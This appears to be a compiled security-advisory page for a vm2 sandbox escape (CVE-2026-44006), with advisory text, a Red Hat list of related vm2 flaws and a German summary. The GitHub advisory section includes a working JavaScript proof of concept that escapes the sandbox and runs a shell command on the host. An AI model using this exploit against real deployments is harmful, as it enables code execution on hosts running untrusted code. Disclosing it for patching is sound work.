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bdu:2026-06907

EUVD-2026-364311

fkie_cve-2026-44006

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.

GHSA-qcp4-v2jj-fjx8 — vm2 has a Sandbox Escape Vulnerability

Affected: npm: vm2

### Summary

It is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes

### Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

### PoC ```js let obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice: () => '', };

let sym;

obj.slice(10, { showHidden: true, showProxy: true, depth: 10, stylize(a) { const handler = this.seen && this.seen[1];

if (handler && handler.getPrototypeOf) { gP = handler.getPrototypeOf; HObjectProto = gP(gP(gP(gP(Buffer)))); HObject = HObjectProto.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); } return a; }, });

obj = { [sym]: (depth, opt, inspect) => { inspect.constructor('return process')() .getBuiltinModule('child_process') .execSync('id', { stdio: 'inherit' }); }, valueOf: undefined, constructor: undefined, };

WebAssembly.compileStreaming(obj).catch(() => {}); ```

### Impact Sandbox Escape -> RCE

RHSA-2026:50850 — Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update

shell-quote: shell-quote: Arbitrary code execution via command injection due to unescaped line terminators vm2: vm2: Arbitrary code execution via sandbox escape vm2: vm2: Remote code execution due to path restriction bypass via symlinks vm2: vm2: Remote code execution via NodeVM builtin allowlist bypass vm2: vm2: Sandbox escape allows direct interaction with host objects vm2: vm2: Sandbox escape leads to Denial of Service vm2: vm2: Information disclosure through unsanitized host paths vm2: vm2: Sandbox escape due to code transformer optimization bypass vm2: vm2: Denial of Service via host memory exhaustion vm2: vm2: Sandbox Escape leading to Arbitrary Code Execution vm2: vm2: Sandbox escape via arbitrary prototype access leading to arbitrary code execution vm2: vm2: Arbitrary code execution via nested NodeVM bypass vm2: vm2: Arbitrary code execution due to sandbox escape vm2: vm2: Arbitrary Code Execution via Sandbox Escape vm2: vm2: Arbitrary Code Execution due to sandbox escape vulnerability vm2: vm2: Arbitrary code execution via sandbox escape vulnerability vm2: vm2: Sandbox escape allows arbitrary code execution on the host system vm2: vm2: Sandbox escape leading to arbitrary code execution via security bypass vm2: vm2: Sandbox escape via internal HTTP built-ins leading to network restriction bypass vm2: vm2: Arbitrary code execution due to incomplete sandbox restrictions vm2: vm2: NodeVM observability builtins leak host process and HTTP request data vm2: vm2: Integrity…

WID-SEC-W-2026-1349 — vm2: Mehrere Schwachstellen

Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.